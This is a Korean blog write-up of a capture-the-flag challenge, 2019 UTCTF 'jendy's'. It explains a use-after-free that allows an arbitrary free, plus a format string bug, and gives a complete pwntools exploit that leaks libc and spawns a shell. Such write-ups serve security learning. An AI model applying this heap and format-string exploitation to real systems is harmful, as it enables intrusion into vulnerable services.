2019 utctf jendy's
대회 당시에는 포맷스트링이라.. 그냥 패스했는데 다시 풀어보니 분석의 중요함을 알려주는 문제였다.
이 바이너리에서 쓰이는 chunk
들은 다음과 같다.
x00000000 chunk struc ; (sizeof=0x20, mappedto_6)
00000000 item_start_ptr dq ?
00000008 item_end_ptr dq ?
00000010 name_ptr dq ?
00000018 item_num dq ?
00000020 chunk ends
00000000 item struc ; (sizeof=0x20, mappedto_7)
00000000 item_str db 24 dup(?)
00000018 next_item_ptr dq ?
00000020 item ends
00000000 name struc ; (sizeof=0x100, mappedto_8)
00000000 name_str dq 32 dup(?)
00000100 name ends
취약점은 remove_item
함수에서 발생한다.
맨 마지막 item
을 remove
할 때의 구문인데, free
하고 난 후 next_itme_ptr
을 지정해주지 않는다.
이 때문에 free
를 해도 next_item_ptr
이 item_chunk
에 남아있게 되고, 이를 통해 arbitrary free
를 일으킬 수 있다.
왜냐하면 이 바이너리는 위와 같이 idx
를 통해 chunk
의 존재 여부를 따지는 것이 아니라 next_item_ptr
을 참조하여 chunk
의 존재 여부를 따지기 때문이다.
즉, add_name
함수로 chunk
에 임의의 data
를 쓸 수 있다.
또, view_order
함수에서 fsb
가 발생한다.
마지막으로 option
중에서 Peppercorn Mushroom Melt
의 길이는 0x18
이다. 즉 이 옵션을 추가하면 view_order
함수로 next_item_ptr
을 leak
할 수 있다.
즉, next_item_ptr
을 main_chunk
의 주소로 바꿔 name_ptr
을 setbuf_got
로 바꾸면 libc
를 leak
할 수 있다.
그리고 이를 이용하여 chunk
에 option_name
이 아닌 format string
을 집어 넣으면 fsb
를 이용할 수 있다.
stack
에 온전한 주소를 넣기 힘드므로, 존재하는 stack
주소를 이용하여 double stage fsb
를 해주면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('pwnable')
s = process(e.path, env={'LD_PRELOAD':'./libc-2.23.so'})
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('libc-2.23.so', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla('>', sel)
def add_name(name):
menu('1')
sla('name?\n', name)
def add_item(idx):
menu('2')
sla('gle\n', idx)
def remove(idx):
menu('3')
sla('remove\n', idx)
def view():
menu('4')
add_item('3')
add_item('3')
view()
ru('Peppercorn Mushroom Melt')
heap = u32(s.recvuntil('\n', drop=True).ljust(4, '\x00'))
log.info('heap: {}'.format(hex(heap)))
remove('1')
add_name('%6299672c%16$ln'.ljust(0x18, 'A') + p64(heap+0x30)[0:7])
add_name('%6299675c%18$ln'.ljust(0x18, 'A') + p64(heap-0x60)[0:7])
remove('3')
add_name(p64(heap) + p64(heap) + p64(e.got['setbuf']) + p64(2)[0:7])
view()
ru('Name: ')
l_base = u64(s.recv(6).ljust(8, '\x00')) - l.symbols['setbuf']
log.info('l_base: {}'.format(hex(l_base)))
one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = l_base + one_list[3]
system = l_base + l.symbols['system']
one = system
dump = '''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
remove('1')
log.info('one: {}'.format(hex(one)))
one_f = int(hex(one)[0:8],16)
one_b = int('0x' + hex(one)[8:14],16)
log.info('one_f: {}, one_b: {}'.format(hex(one_f), hex(one_b)))
add_name('sh;%'+str(one_b-3)+'c'+'%24$n' + '%'+str(one_f-one_b)+'c'+'%53$n')
view()
remove('0')
io()
'system > writeup' 카테고리의 다른 글
root-me mips stack buffer overflow (0) | 2019.08.12 |
---|---|
2019 securinet baby_two (0) | 2019.03.25 |
2019 besidesSF slowfire (0) | 2019.03.16 |
2019 besidesSF genius (0) | 2019.03.16 |
2019 besidesSF straw-clutcher (0) | 2019.03.15 |